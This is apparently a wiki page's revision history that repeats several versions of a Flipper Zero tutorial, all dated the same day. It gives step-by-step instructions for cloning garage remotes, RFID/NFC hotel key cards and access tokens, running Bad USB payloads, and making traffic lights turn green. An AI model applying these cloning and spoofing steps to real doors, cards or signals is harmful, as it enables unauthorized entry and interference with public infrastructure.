With this various hotel key cards can be easily copied and used. The success of such an attack is based on the used keys to encrypt the sectors of the NFC Cards in use. If the Flipper Zero knows the keys, e.g. the NFC key card utilizes well-known keys for encryption, a successful decryption and cloning of the NFC key card is almost guaranteed. If the key card uses a special token for authentication by generating a unique code every time the card is read, it is not possible to clone the card (or atleast not with the Flipper Zero). An example for this would be the NFC key card for a Tesla vehicle.

=== Infrared ===
With the Infrared sender and receiver it is possible to send well-known Infrared signals or learn new more unique signals to later on emulate them.
Examples for well-known remote signals that are already integrated into the Flipper Zero include:

* TVs
* HVACs
* Beamers
* Ventilators

If the goal is to turn on a TV the Flipper Zero bruteforces the correct signal by looping through every known TV "on" signal it has stored.
If a remote signal is not yet known to the Flipper Zero it can be easily added by pressing the original remote once thus sending the signal towards the Flipper Zero while the "learning mode" is active. This can be achieved by starting the tool "Learn New Remote" inside the Infrared category. The Flipper Zero than saves the signal and it can be emulated when needed.

=== GPIO ===
There are various modules that can be added to the Flipper Zero using the 18 GPIO Pins on top of the device. An example for this would be a WiFi module to enable the Flipper Zero to connect to a nearby WiFi network. It is also possible to create your own projects with the GPIO pins. An example project would be the [https://www.thedrive.com/news/hacker-uncovers-how-to-turn-traffic-lights-green-with-flipper-zero Traffic-Controller], where special LEDs were attached to the Flipper Zero, which, when flashed at around 14 Hertz, cause traffic lights to turn green, as they are made to believe that an ambulance is approaching them.

[[File:Flipper_GPIO.png|400px||GPIO Pin layout]]

Detailed information about the pins can be found on the [https://docs.flipperzero.one/gpio-and-modules Flipper Zero GPIO documentation website].

=== iButton ===
The Flipper Zero also supports iButtons which is a so called 1-Wire communication protocol. They are mostly used for storing cryptographic keys or serial numbers and for access control systems, some are also used for temperature and humidity measurements. Flipper Zero is able to read, write and emulate access control keys. Supported protocols are Dallas, Cyfral and Metakom.

In Austria they are not as common as in other countries, for example iButtons are used as access control for buildings in america or to authenticate cashiers in italian grocery shops.
=== Bad USB ===
The Flipper Zero can act as a Bad USB device, similar to a Rubber Ducky (LINK), it also utilizes the same scripting language (Rubber Ducky Scripting Language). This allows the Flipper Zero to act as a Human Interface Device (HID), like a keyboard for example).

# First write a fitting payload for the target using the Rubber Ducky Scripting Language
# Copy the payload over onto the SD Card into the folder "badusb", either using qFlipper oder the Flipper Mobile App.
# Plug the Flipper Zero into a PC using the USB-C cable
# Open the desired payload inside the Bad USB menu and press the OK button to start it

Currently the Flipper Zero only support the US keyboard layout, this may change in the future but for the time being it is only possible to emulate inputs using the US layout.
=== U2F ===
It is possible to use the Flipper Zero as a USB universal 2nd-factor (U2F) authentication token, to use as a second authentication factor when logging into accounts online.

# First connect the Flipper Zero with a PC or Laptop, if the qFlipper software is active close it.
# Next up open the U2F menu of the Flipper Zero, the screen should display "connected"
# In the web account where the two-factor authentication should be activated, for example Google or Github, follow the steps as instructed by the services until you are able to select "security key", or something similar, as a 2nd-factor authentication.
# On the website choose "security key" as the 2nd-factor authentication
# Lastly the Flipper Zero shows "Press OK to register", after clicking "OK" the registration of the Flipper Zero as a security key is accomplished.

It should be mentioned that the Flipper Zero website has a warning stating that for critical accounts or applications a special hardware key should be utilizes instead of the Flipper Zero because the Flipper Zero only offers the functionality using software. To use the Flipper Zero as a 2nd-factor token the following steps must be performed:

=== Applications ===
=== Settings ===

== References ==
* https://docs.flipperzero.one/

File:Flipper GPIO.png

2023-02-27T11:57:02Z

ARessl: GPIO Pin layout of the Flipper Zero

== Summary ==
GPIO Pin layout of the Flipper Zero

Flipper Zero

2023-02-27T11:56:01Z

ARessl: GPIO Pins picture

== Summary ==
[[File:Flipper_detail_front.png |thumb|right|400px||Flipper Zero Front]]
[[File:Flipper_detail_side.png |thumb|right|400px||Flipper Zero Side]]
The Flipper Zero is a gadget for penetration testers, system administrators and tech enthusiasts created by Flipper Devices Inc. The device allows capturing and transmitting of various Sub-GHz signals, such as Garage Openers or NFC chips, as-well as Infrared signals. Furthermore the device can be used as a Bad USB Stick and offers iButton capabilities.
Thanks to its small form factor it is a perfect device for covert operations.

== Description ==

=== Setting up the Flipper Zero ===

# Open the box containing the Flipper Zero and boot it by holding down the back button
# To use the full potential of the Flipper Zero an Micro SD-Card is needed. Insert it into the right bottom of the flipper with the pins of the SD-Card facing upwards.
# After successful installation of the Micro SD-Card, a little SD-Card symbol appears on the top left of the Flipper Zero GUI.
# Finally for the best experience the Firmware should be updated, this point is explained in more detail in the section "Firmware Update".

=== Firmware Update ===
To update the device either connect the Flipper Zero to a PC via a USB-C cable or connect it to a mobile phone using Bluetooth and use the "Flipper" app. In this guide a PC is used for the firmware update.

# First download qFlipper from the official Flipper Zero website https://flipperzero.one/update
# After installation start the application and connect the Flipper Zero, it should show the connected device in the GUI.
[[File:qFlipper_update.png|400px||qFlipper showing pending update]]
# <li value="3">Next click the Update button to initiate the update process, this process can take a few minutes.</li>
[[File:qFlipper_update_progress.png|400px||qFlipper update progess]]
# <li value="4">After successfully updating the device, the qFlipper software shows the new version number and the Flipper Zero displays "Firmware update success". Now the device is ready to be used again.</li>

== Use Cases ==

As already mentioned there are many different use cases for the Flipper Zero, such as Sub-GHz signal analyzing and cloning, NFC spoofing or controlling of Infrared devices.
In this section some examples for different use cases will be given as well as a basic explanation of how various attacks can be performed.

The use cases are divided into the corresponding categories of the Flipper Zero.

=== Sub-GHz ===
With the Sub-GHz module various attacks up to 50 meters are possible in the following bands, 300-348 MHz, 387-464 MHz, and 779-928 MHz.

A basic attack in this regard would be the cloning of a garage door remote signal, to freely open and close a garage door.
For this to work the Flipper Zero first needs to be configured to the corresponding band of the original garage remote.

# First open the "Frequency Analyzer" tool inside the Sub-GHz category.
# Press the garage door remote to send out a signal.
# The Flipper Zero will automatically display the frequency of the captured signal.
# Next go back and open the "Read" tool
# Open the config with the *left* button and set the appropriate frequency band from the captured signal
# Press the garage door remote again and if the Flipper Zero supports the protocol it will be possible to save the opening signal
# If the Flipper Zero does not detect a valid signal, try to modify the modulation in the settings of the "Read" tool or it could be possible that the Flipper Zero does not yet support the protocol of the garage door.

After a signal is captured it is possible to either save or discard it. Saved signals can be triggered via the "Saved" menu. Using this it is possible to create clones of existing garage door remotes. This is just a basic attack, but it shows the capabilities of the Flipper Zero very clearly, not only garage door remotes can be cloned and utilized, almost anything inside the supported range spectrum can be easily copied and used accordingly. Only difference in this regards would be if the devices use a so called "rolling code". If rolling codes are used a signal can be read and cloned but is useless, as the underlying "code" is unknown. The most probable outcome copying such as signal and resending it would be that the original sender gets blocked by the garage door or the corresponding receiver.

=== 125 kHz RFID ===
With the 125 kHz RFID module the reading, saving, emulating and writing of LF RFID cards is possible. This includes animal chips, access control systems and supply chain tracking systems. A big difference with NFC is the lack of security.

# First open the "Read" tool inside the RFID category.
# Next hold the Flipper Zero close to the chip itself, for example an animal chip.
# The Flipper Zero will automatically start reading the data on the chip and display it accordingly.
# This data can then be saved and used for later emulation.

ASK and PSK chips are supported by the Flipper Zero.
=== NFC ===
With the NFC module the reading, saving, emulating and writing of 13.56 MHz NFC signals is possible. This ranges from key cards, like hotel entry cards and door openers, to toys that utilize NFC signals.

# First open the "Read" tool inside the NFC category.
# Next hold the Flipper Zero close next to the desired key card.
# As soon as the Flipper Zero detects the card it will start decrypting the sectors of it.
# If well-known keys are used and the key card can be decrypted it is possible to save the key card for later emulation or writing onto a blank NFC card.

With this various hotel key cards can be easily copied and used. The success of such an attack is based on the used keys to encrypt the sectors of the NFC Cards in use. If the Flipper Zero knows the keys, e.g. the NFC key card utilizes well-known keys for encryption, a successful decryption and cloning of the NFC key card is almost guaranteed. If the key card uses a special token for authentication by generating a unique code every time the card is read, it is not possible to clone the card (or atleast not with the Flipper Zero). An example for this would be the NFC key card for a Tesla vehicle.

=== Infrared ===
With the Infrared sender and receiver it is possible to send well-known Infrared signals or learn new more unique signals to later on emulate them.
Examples for well-known remote signals that are already integrated into the Flipper Zero include:

* TVs
* HVACs
* Beamers
* Ventilators

If the goal is to turn on a TV the Flipper Zero bruteforces the correct signal by looping through every known TV "on" signal it has stored.
If a remote signal is not yet known to the Flipper Zero it can be easily added by pressing the original remote once thus sending the signal towards the Flipper Zero while the "learning mode" is active. This can be achieved by starting the tool "Learn New Remote" inside the Infrared category. The Flipper Zero than saves the signal and it can be emulated when needed.

=== GPIO ===
There are various modules that can be added to the Flipper Zero using the 18 GPIO Pins on top of the device. An example for this would be a WiFi module to enable the Flipper Zero to connect to a nearby WiFi network. It is also possible to create your own projects with the GPIO pins, for example, special LEDs were attached to the Flipper Zero, which, when flashed at around 14 Hertz, cause traffic lights to turn green, as they are made to believe that an ambulance is approaching them.

[[File:Flipper_GPIO.png|400px||GPIO Pin layout]]

Detailed information about the pins can be found on the [https://docs.flipperzero.one/gpio-and-modules Flipper Zero GPIO documentation website].
=== iButton ===
The Flipper Zero also supports iButtons which is a so called 1-Wire communication protocol. They are mostly used for storing cryptographic keys or serial numbers and for access control systems, some are also used for temperature and humidity measurements. Flipper Zero is able to read, write and emulate access control keys. Supported protocols are Dallas, Cyfral and Metakom.

In Austria they are not as common as in other countries, for example iButtons are used as access control for buildings in america or to authenticate cashiers in italian grocery shops.
=== Bad USB ===
The Flipper Zero can act as a Bad USB device, similar to a Rubber Ducky (LINK), it also utilizes the same scripting language (Rubber Ducky Scripting Language). This allows the Flipper Zero to act as a Human Interface Device (HID), like a keyboard for example).

# First write a fitting payload for the target using the Rubber Ducky Scripting Language
# Copy the payload over onto the SD Card into the folder "badusb", either using qFlipper oder the Flipper Mobile App.
# Plug the Flipper Zero into a PC using the USB-C cable
# Open the desired payload inside the Bad USB menu and press the OK button to start it

Currently the Flipper Zero only support the US keyboard layout, this may change in the future but for the time being it is only possible to emulate inputs using the US layout.
=== U2F ===
It is possible to use the Flipper Zero as a USB universal 2nd-factor (U2F) authentication token, to use as a second authentication factor when logging into accounts online.

# First connect the Flipper Zero with a PC or Laptop, if the qFlipper software is active close it.
# Next up open the U2F menu of the Flipper Zero, the screen should display "connected"
# In the web account where the two-factor authentication should be activated, for example Google or Github, follow the steps as instructed by the services until you are able to select "security key", or something similar, as a 2nd-factor authentication.
# On the website choose "security key" as the 2nd-factor authentication
# Lastly the Flipper Zero shows "Press OK to register", after clicking "OK" the registration of the Flipper Zero as a security key is accomplished.

It should be mentioned that the Flipper Zero website has a warning stating that for critical accounts or applications a special hardware key should be utilizes instead of the Flipper Zero because the Flipper Zero only offers the functionality using software. To use the Flipper Zero as a 2nd-factor token the following steps must be performed:

=== Applications ===
=== Settings ===

== References ==
* https://docs.flipperzero.one/

Flipper Zero

2023-02-27T11:22:19Z

ARessl: GPIO

== Summary ==
[[File:Flipper_detail_front.png |thumb|right|400px||Flipper Zero Front]]
[[File:Flipper_detail_side.png |thumb|right|400px||Flipper Zero Side]]
The Flipper Zero is a gadget for penetration testers, system administrators and tech enthusiasts created by Flipper Devices Inc. The device allows capturing and transmitting of various Sub-GHz signals, such as Garage Openers or NFC chips, as-well as Infrared signals. Furthermore the device can be used as a Bad USB Stick and offers iButton capabilities.
Thanks to its small form factor it is a perfect device for covert operations.

== Description ==

=== Setting up the Flipper Zero ===

# Open the box containing the Flipper Zero and boot it by holding down the back button
# To use the full potential of the Flipper Zero an Micro SD-Card is needed. Insert it into the right bottom of the flipper with the pins of the SD-Card facing upwards.
# After successful installation of the Micro SD-Card, a little SD-Card symbol appears on the top left of the Flipper Zero GUI.
# Finally for the best experience the Firmware should be updated, this point is explained in more detail in the section "Firmware Update".

=== Firmware Update ===
To update the device either connect the Flipper Zero to a PC via a USB-C cable or connect it to a mobile phone using Bluetooth and use the "Flipper" app. In this guide a PC is used for the firmware update.

# First download qFlipper from the official Flipper Zero website https://flipperzero.one/update
# After installation start the application and connect the Flipper Zero, it should show the connected device in the GUI.
[[File:qFlipper_update.png|400px||qFlipper showing pending update]]
# <li value="3">Next click the Update button to initiate the update process, this process can take a few minutes.</li>
[[File:qFlipper_update_progress.png|400px||qFlipper update progess]]
# <li value="4">After successfully updating the device, the qFlipper software shows the new version number and the Flipper Zero displays "Firmware update success". Now the device is ready to be used again.</li>

== Use Cases ==

As already mentioned there are many different use cases for the Flipper Zero, such as Sub-GHz signal analyzing and cloning, NFC spoofing or controlling of Infrared devices.
In this section some examples for different use cases will be given as well as a basic explanation of how various attacks can be performed.

The use cases are divided into the corresponding categories of the Flipper Zero.

=== Sub-GHz ===
With the Sub-GHz module various attacks up to 50 meters are possible in the following bands, 300-348 MHz, 387-464 MHz, and 779-928 MHz.

A basic attack in this regard would be the cloning of a garage door remote signal, to freely open and close a garage door.
For this to work the Flipper Zero first needs to be configured to the corresponding band of the original garage remote.

# First open the "Frequency Analyzer" tool inside the Sub-GHz category.
# Press the garage door remote to send out a signal.
# The Flipper Zero will automatically display the frequency of the captured signal.
# Next go back and open the "Read" tool
# Open the config with the *left* button and set the appropriate frequency band from the captured signal
# Press the garage door remote again and if the Flipper Zero supports the protocol it will be possible to save the opening signal
# If the Flipper Zero does not detect a valid signal, try to modify the modulation in the settings of the "Read" tool or it could be possible that the Flipper Zero does not yet support the protocol of the garage door.

After a signal is captured it is possible to either save or discard it. Saved signals can be triggered via the "Saved" menu. Using this it is possible to create clones of existing garage door remotes. This is just a basic attack, but it shows the capabilities of the Flipper Zero very clearly, not only garage door remotes can be cloned and utilized, almost anything inside the supported range spectrum can be easily copied and used accordingly. Only difference in this regards would be if the devices use a so called "rolling code". If rolling codes are used a signal can be read and cloned but is useless, as the underlying "code" is unknown. The most probable outcome copying such as signal and resending it would be that the original sender gets blocked by the garage door or the corresponding receiver.

=== 125 kHz RFID ===
With the 125 kHz RFID module the reading, saving, emulating and writing of LF RFID cards is possible. This includes animal chips, access control systems and supply chain tracking systems. A big difference with NFC is the lack of security.

# First open the "Read" tool inside the RFID category.
# Next hold the Flipper Zero close to the chip itself, for example an animal chip.
# The Flipper Zero will automatically start reading the data on the chip and display it accordingly.
# This data can then be saved and used for later emulation.

ASK and PSK chips are supported by the Flipper Zero.
=== NFC ===
With the NFC module the reading, saving, emulating and writing of 13.56 MHz NFC signals is possible. This ranges from key cards, like hotel entry cards and door openers, to toys that utilize NFC signals.

# First open the "Read" tool inside the NFC category.
# Next hold the Flipper Zero close next to the desired key card.
# As soon as the Flipper Zero detects the card it will start decrypting the sectors of it.
# If well-known keys are used and the key card can be decrypted it is possible to save the key card for later emulation or writing onto a blank NFC card.

With this various hotel key cards can be easily copied and used. The success of such an attack is based on the used keys to encrypt the sectors of the NFC Cards in use. If the Flipper Zero knows the keys, e.g. the NFC key card utilizes well-known keys for encryption, a successful decryption and cloning of the NFC key card is almost guaranteed. If the key card uses a special token for authentication by generating a unique code every time the card is read, it is not possible to clone the card (or atleast not with the Flipper Zero). An example for this would be the NFC key card for a Tesla vehicle.

=== Infrared ===
With the Infrared sender and receiver it is possible to send well-known Infrared signals or learn new more unique signals to later on emulate them.
Examples for well-known remote signals that are already integrated into the Flipper Zero include:

* TVs
* HVACs
* Beamers
* Ventilators

If the goal is to turn on a TV the Flipper Zero bruteforces the correct signal by looping through every known TV "on" signal it has stored.
If a remote signal is not yet known to the Flipper Zero it can be easily added by pressing the original remote once thus sending the signal towards the Flipper Zero while the "learning mode" is active. This can be achieved by starting the tool "Learn New Remote" inside the Infrared category. The Flipper Zero than saves the signal and it can be emulated when needed.

=== GPIO ===
There are various modules that can be added to the Flipper Zero using the GPIO Pins on top of the device. An example for this would be a WiFi module to enable the Flipper Zero to connect to a nearby WiFi network. It is also possible to create your own projects with the GPIO pins, for example, special LEDs were attached to the Flipper Zero, which, when flashed at around 14 Hertz, cause traffic lights to turn green, as they are made to believe that an ambulance is approaching them.
=== iButton ===
The Flipper Zero also supports iButtons which is a so called 1-Wire communication protocol. They are mostly used for storing cryptographic keys or serial numbers and for access control systems, some are also used for temperature and humidity measurements. Flipper Zero is able to read, write and emulate access control keys. Supported protocols are Dallas, Cyfral and Metakom.

In Austria they are not as common as in other countries, for example iButtons are used as access control for buildings in america or to authenticate cashiers in italian grocery shops.
=== Bad USB ===
The Flipper Zero can act as a Bad USB device, similar to a Rubber Ducky (LINK), it also utilizes the same scripting language (Rubber Ducky Scripting Language). This allows the Flipper Zero to act as a Human Interface Device (HID), like a keyboard for example).

# First write a fitting payload for the target using the Rubber Ducky Scripting Language
# Copy the payload over onto the SD Card into the folder "badusb", either using qFlipper oder the Flipper Mobile App.
# Plug the Flipper Zero into a PC using the USB-C cable
# Open the desired payload inside the Bad USB menu and press the OK button to start it

Currently the Flipper Zero only support the US keyboard layout, this may change in the future but for the time being it is only possible to emulate inputs using the US layout.
=== U2F ===
It is possible to use the Flipper Zero as a USB universal 2nd-factor (U2F) authentication token, to use as a second authentication factor when logging into accounts online.

# First connect the Flipper Zero with a PC or Laptop, if the qFlipper software is active close it.
# Next up open the U2F menu of the Flipper Zero, the screen should display "connected"
# In the web account where the two-factor authentication should be activated, for example Google or Github, follow the steps as instructed by the services until you are able to select "security key", or something similar, as a 2nd-factor authentication.
# On the website choose "security key" as the 2nd-factor authentication
# Lastly the Flipper Zero shows "Press OK to register", after clicking "OK" the registration of the Flipper Zero as a security key is accomplished.

It should be mentioned that the Flipper Zero website has a warning stating that for critical accounts or applications a special hardware key should be utilizes instead of the Flipper Zero because the Flipper Zero only offers the functionality using software. To use the Flipper Zero as a 2nd-factor token the following steps must be performed:

=== Applications ===
=== Settings ===

== References ==
* https://docs.flipperzero.one/

Flipper Zero

2023-02-27T11:10:30Z

ARessl: Bad USB addition

== Summary ==
[[File:Flipper_detail_front.png |thumb|right|400px||Flipper Zero Front]]
[[File:Flipper_detail_side.png |thumb|right|400px||Flipper Zero Side]]
The Flipper Zero is a gadget for penetration testers, system administrators and tech enthusiasts created by Flipper Devices Inc. The device allows capturing and transmitting of various Sub-GHz signals, such as Garage Openers or NFC chips, as-well as Infrared signals. Furthermore the device can be used as a Bad USB Stick and offers iButton capabilities.
Thanks to its small form factor it is a perfect device for covert operations.

== Description ==

=== Setting up the Flipper Zero ===

# Open the box containing the Flipper Zero and boot it by holding down the back button
# To use the full potential of the Flipper Zero an Micro SD-Card is needed. Insert it into the right bottom of the flipper with the pins of the SD-Card facing upwards.
# After successful installation of the Micro SD-Card, a little SD-Card symbol appears on the top left of the Flipper Zero GUI.
# Finally for the best experience the Firmware should be updated, this point is explained in more detail in the section "Firmware Update".

=== Firmware Update ===
To update the device either connect the Flipper Zero to a PC via a USB-C cable or connect it to a mobile phone using Bluetooth and use the "Flipper" app. In this guide a PC is used for the firmware update.

# First download qFlipper from the official Flipper Zero website https://flipperzero.one/update
# After installation start the application and connect the Flipper Zero, it should show the connected device in the GUI.
[[File:qFlipper_update.png|400px||qFlipper showing pending update]]
# <li value="3">Next click the Update button to initiate the update process, this process can take a few minutes.</li>
[[File:qFlipper_update_progress.png|400px||qFlipper update progess]]
# <li value="4">After successfully updating the device, the qFlipper software shows the new version number and the Flipper Zero displays "Firmware update success". Now the device is ready to be used again.</li>

== Use Cases ==

As already mentioned there are many different use cases for the Flipper Zero, such as Sub-GHz signal analyzing and cloning, NFC spoofing or controlling of Infrared devices.
In this section some examples for different use cases will be given as well as a basic explanation of how various attacks can be performed.

The use cases are divided into the corresponding categories of the Flipper Zero.

=== Sub-GHz ===
With the Sub-GHz module various attacks up to 50 meters are possible in the following bands, 300-348 MHz, 387-464 MHz, and 779-928 MHz.

A basic attack in this regard would be the cloning of a garage door remote signal, to freely open and close a garage door.
For this to work the Flipper Zero first needs to be configured to the corresponding band of the original garage remote.

# First open the "Frequency Analyzer" tool inside the Sub-GHz category.
# Press the garage door remote to send out a signal.
# The Flipper Zero will automatically display the frequency of the captured signal.
# Next go back and open the "Read" tool
# Open the config with the *left* button and set the appropriate frequency band from the captured signal
# Press the garage door remote again and if the Flipper Zero supports the protocol it will be possible to save the opening signal
# If the Flipper Zero does not detect a valid signal, try to modify the modulation in the settings of the "Read" tool or it could be possible that the Flipper Zero does not yet support the protocol of the garage door.

After a signal is captured it is possible to either save or discard it. Saved signals can be triggered via the "Saved" menu. Using this it is possible to create clones of existing garage door remotes. This is just a basic attack, but it shows the capabilities of the Flipper Zero very clearly, not only garage door remotes can be cloned and utilized, almost anything inside the supported range spectrum can be easily copied and used accordingly. Only difference in this regards would be if the devices use a so called "rolling code". If rolling codes are used a signal can be read and cloned but is useless, as the underlying "code" is unknown. The most probable outcome copying such as signal and resending it would be that the original sender gets blocked by the garage door or the corresponding receiver.

=== 125 kHz RFID ===
With the 125 kHz RFID module the reading, saving, emulating and writing of LF RFID cards is possible. This includes animal chips, access control systems and supply chain tracking systems. A big difference with NFC is the lack of security.

# First open the "Read" tool inside the RFID category.
# Next hold the Flipper Zero close to the chip itself, for example an animal chip.
# The Flipper Zero will automatically start reading the data on the chip and display it accordingly.
# This data can then be saved and used for later emulation.

ASK and PSK chips are supported by the Flipper Zero.
=== NFC ===
With the NFC module the reading, saving, emulating and writing of 13.56 MHz NFC signals is possible. This ranges from key cards, like hotel entry cards and door openers, to toys that utilize NFC signals.

# First open the "Read" tool inside the NFC category.
# Next hold the Flipper Zero close next to the desired key card.
# As soon as the Flipper Zero detects the card it will start decrypting the sectors of it.
# If well-known keys are used and the key card can be decrypted it is possible to save the key card for later emulation or writing onto a blank NFC card.

With this various hotel key cards can be easily copied and used. The success of such an attack is based on the used keys to encrypt the sectors of the NFC Cards in use. If the Flipper Zero knows the keys, e.g. the NFC key card utilizes well-known keys for encryption, a successful decryption and cloning of the NFC key card is almost guaranteed. If the key card uses a special token for authentication by generating a unique code every time the card is read, it is not possible to clone the card (or atleast not with the Flipper Zero). An example for this would be the NFC key card for a Tesla vehicle.

=== Infrared ===
With the Infrared sender and receiver it is possible to send well-known Infrared signals or learn new more unique signals to later on emulate them.
Examples for well-known remote signals that are already integrated into the Flipper Zero include:

* TVs
* HVACs
* Beamers
* Ventilators

If the goal is to turn on a TV the Flipper Zero bruteforces the correct signal by looping through every known TV "on" signal it has stored.
If a remote signal is not yet known to the Flipper Zero it can be easily added by pressing the original remote once thus sending the signal towards the Flipper Zero while the "learning mode" is active. This can be achieved by starting the tool "Learn New Remote" inside the Infrared category. The Flipper Zero than saves the signal and it can be emulated when needed.

=== GPIO ===
=== iButton ===
The Flipper Zero also supports iButtons which is a so called 1-Wire communication protocol. They are mostly used for storing cryptographic keys or serial numbers and for access control systems, some are also used for temperature and humidity measurements. Flipper Zero is able to read, write and emulate access control keys. Supported protocols are Dallas, Cyfral and Metakom.

In Austria they are not as common as in other countries, for example iButtons are used as access control for buildings in america or to authenticate cashiers in italian grocery shops.
=== Bad USB ===
The Flipper Zero can act as a Bad USB device, similar to a Rubber Ducky (LINK), it also utilizes the same scripting language (Rubber Ducky Scripting Language). This allows the Flipper Zero to act as a Human Interface Device (HID), like a keyboard for example).

# First write a fitting payload for the target using the Rubber Ducky Scripting Language
# Copy the payload over onto the SD Card into the folder "badusb", either using qFlipper oder the Flipper Mobile App.
# Plug the Flipper Zero into a PC using the USB-C cable
# Open the desired payload inside the Bad USB menu and press the OK button to start it

Currently the Flipper Zero only support the US keyboard layout, this may change in the future but for the time being it is only possible to emulate inputs using the US layout.
=== U2F ===
It is possible to use the Flipper Zero as a USB universal 2nd-factor (U2F) authentication token, to use as a second authentication factor when logging into accounts online.

# First connect the Flipper Zero with a PC or Laptop, if the qFlipper software is active close it.
# Next up open the U2F menu of the Flipper Zero, the screen should display "connected"
# In the web account where the two-factor authentication should be activated, for example Google or Github, follow the steps as instructed by the services until you are able to select "security key", or something similar, as a 2nd-factor authentication.
# On the website choose "security key" as the 2nd-factor authentication
# Lastly the Flipper Zero shows "Press OK to register", after clicking "OK" the registration of the Flipper Zero as a security key is accomplished.

It should be mentioned that the Flipper Zero website has a warning stating that for critical accounts or applications a special hardware key should be utilizes instead of the Flipper Zero because the Flipper Zero only offers the functionality using software. To use the Flipper Zero as a 2nd-factor token the following steps must be performed:

=== Applications ===
=== Settings ===

== References ==
* https://docs.flipperzero.one/

Flipper Zero

2023-02-27T10:44:00Z

ARessl: /* Infrared */

== Summary ==
[[File:Flipper_detail_front.png |thumb|right|400px||Flipper Zero Front]]
[[File:Flipper_detail_side.png |thumb|right|400px||Flipper Zero Side]]
The Flipper Zero is a gadget for penetration testers, system administrators and tech enthusiasts created by Flipper Devices Inc. The device allows capturing and transmitting of various Sub-GHz signals, such as Garage Openers or NFC chips, as-well as Infrared signals. Furthermore the device can be used as a Bad USB Stick and offers iButton capabilities.
Thanks to its small form factor it is a perfect device for covert operations.

== Description ==

=== Setting up the Flipper Zero ===

# Open the box containing the Flipper Zero and boot it by holding down the back button
# To use the full potential of the Flipper Zero an Micro SD-Card is needed. Insert it into the right bottom of the flipper with the pins of the SD-Card facing upwards.
# After successful installation of the Micro SD-Card, a little SD-Card symbol appears on the top left of the Flipper Zero GUI.
# Finally for the best experience the Firmware should be updated, this point is explained in more detail in the section "Firmware Update".

=== Firmware Update ===
To update the device either connect the Flipper Zero to a PC via a USB-C cable or connect it to a mobile phone using Bluetooth and use the "Flipper" app. In this guide a PC is used for the firmware update.

# First download qFlipper from the official Flipper Zero website https://flipperzero.one/update
# After installation start the application and connect the Flipper Zero, it should show the connected device in the GUI.
[[File:qFlipper_update.png|400px||qFlipper showing pending update]]
# <li value="3">Next click the Update button to initiate the update process, this process can take a few minutes.</li>
[[File:qFlipper_update_progress.png|400px||qFlipper update progess]]
# <li value="4">After successfully updating the device, the qFlipper software shows the new version number and the Flipper Zero displays "Firmware update success". Now the device is ready to be used again.</li>

== Use Cases ==

As already mentioned there are many different use cases for the Flipper Zero, such as Sub-GHz signal analyzing and cloning, NFC spoofing or controlling of Infrared devices.
In this section some examples for different use cases will be given as well as a basic explanation of how various attacks can be performed.

The use cases are divided into the corresponding categories of the Flipper Zero.

=== Sub-GHz ===
With the Sub-GHz module various attacks up to 50 meters are possible in the following bands, 300-348 MHz, 387-464 MHz, and 779-928 MHz.

A basic attack in this regard would be the cloning of a garage door remote signal, to freely open and close a garage door.
For this to work the Flipper Zero first needs to be configured to the corresponding band of the original garage remote.

# First open the "Frequency Analyzer" tool inside the Sub-GHz category.
# Press the garage door remote to send out a signal.
# The Flipper Zero will automatically display the frequency of the captured signal.
# Next go back and open the "Read" tool
# Open the config with the *left* button and set the appropriate frequency band from the captured signal
# Press the garage door remote again and if the Flipper Zero supports the protocol it will be possible to save the opening signal
# If the Flipper Zero does not detect a valid signal, try to modify the modulation in the settings of the "Read" tool or it could be possible that the Flipper Zero does not yet support the protocol of the garage door.

After a signal is captured it is possible to either save or discard it. Saved signals can be triggered via the "Saved" menu. Using this it is possible to create clones of existing garage door remotes. This is just a basic attack, but it shows the capabilities of the Flipper Zero very clearly, not only garage door remotes can be cloned and utilized, almost anything inside the supported range spectrum can be easily copied and used accordingly. Only difference in this regards would be if the devices use a so called "rolling code". If rolling codes are used a signal can be read and cloned but is useless, as the underlying "code" is unknown. The most probable outcome copying such as signal and resending it would be that the original sender gets blocked by the garage door or the corresponding receiver.

=== 125 kHz RFID ===
With the 125 kHz RFID module the reading, saving, emulating and writing of LF RFID cards is possible. This includes animal chips, access control systems and supply chain tracking systems. A big difference with NFC is the lack of security.

# First open the "Read" tool inside the RFID category.
# Next hold the Flipper Zero close to the chip itself, for example an animal chip.
# The Flipper Zero will automatically start reading the data on the chip and display it accordingly.
# This data can then be saved and used for later emulation.

ASK and PSK chips are supported by the Flipper Zero.
=== NFC ===
With the NFC module the reading, saving, emulating and writing of 13.56 MHz NFC signals is possible. This ranges from key cards, like hotel entry cards and door openers, to toys that utilize NFC signals.

# First open the "Read" tool inside the NFC category.
# Next hold the Flipper Zero close next to the desired key card.
# As soon as the Flipper Zero detects the card it will start decrypting the sectors of it.
# If well-known keys are used and the key card can be decrypted it is possible to save the key card for later emulation or writing onto a blank NFC card.

With this various hotel key cards can be easily copied and used. The success of such an attack is based on the used keys to encrypt the sectors of the NFC Cards in use. If the Flipper Zero knows the keys, e.g. the NFC key card utilizes well-known keys for encryption, a successful decryption and cloning of the NFC key card is almost guaranteed. If the key card uses a special token for authentication by generating a unique code every time the card is read, it is not possible to clone the card (or atleast not with the Flipper Zero). An example for this would be the NFC key card for a Tesla vehicle.

=== Infrared ===
With the Infrared sender and receiver it is possible to send well-known Infrared signals or learn new more unique signals to later on emulate them.
Examples for well-known remote signals that are already integrated into the Flipper Zero include:

* TVs
* HVACs
* Beamers
* Ventilators

If the goal is to turn on a TV the Flipper Zero bruteforces the correct signal by looping through every known TV "on" signal it has stored.
If a remote signal is not yet known to the Flipper Zero it can be easily added by pressing the original remote once thus sending the signal towards the Flipper Zero while the "learning mode" is active. This can be achieved by starting the tool "Learn New Remote" inside the Infrared category. The Flipper Zero than saves the signal and it can be emulated when needed.

=== GPIO ===
=== iButton ===
The Flipper Zero also supports iButtons which is a so called 1-Wire communication protocol. They are mostly used for storing cryptographic keys or serial numbers and for access control systems. Flipper Zero is able to read, write and emulate access control keys. Supported protocols are Dallas, Cyfral and Metakom.

In Austria they are not as common as in other countries, for example iButtons are used as access control for buildings in america or to authenticate cashiers in italian grocery shops.
=== Bad USB ===
The Flipper Zero can act as a Bad USB device, similar to a Rubber Ducky (LINK), it also utilizes the same scripting language (Rubber Ducky Scripting Language). This allows the Flipper Zero to act as a Human Interface Device (HID), like a keyboard for example).

# First write a fitting payload for the target using the Rubber Ducky Scripting Language
# Copy the payload over onto the SD Card into the folder "badusb", either using qFlipper oder the Flipper Mobile App.
# Plug the Flipper Zero into a PC using the USB-C cable
# Open the desired payload inside the Bad USB menu and press the OK button to start it

Currently the Flipper Zero only support the US keyboard layout, this may change in the future but for the time being it is only possible to emulate inputs using the US layout.
=== U2F ===
It is possible to use the Flipper Zero as a USB universal 2nd-factor (U2F) authentication token, to use as a second authentication factor when logging into accounts online.

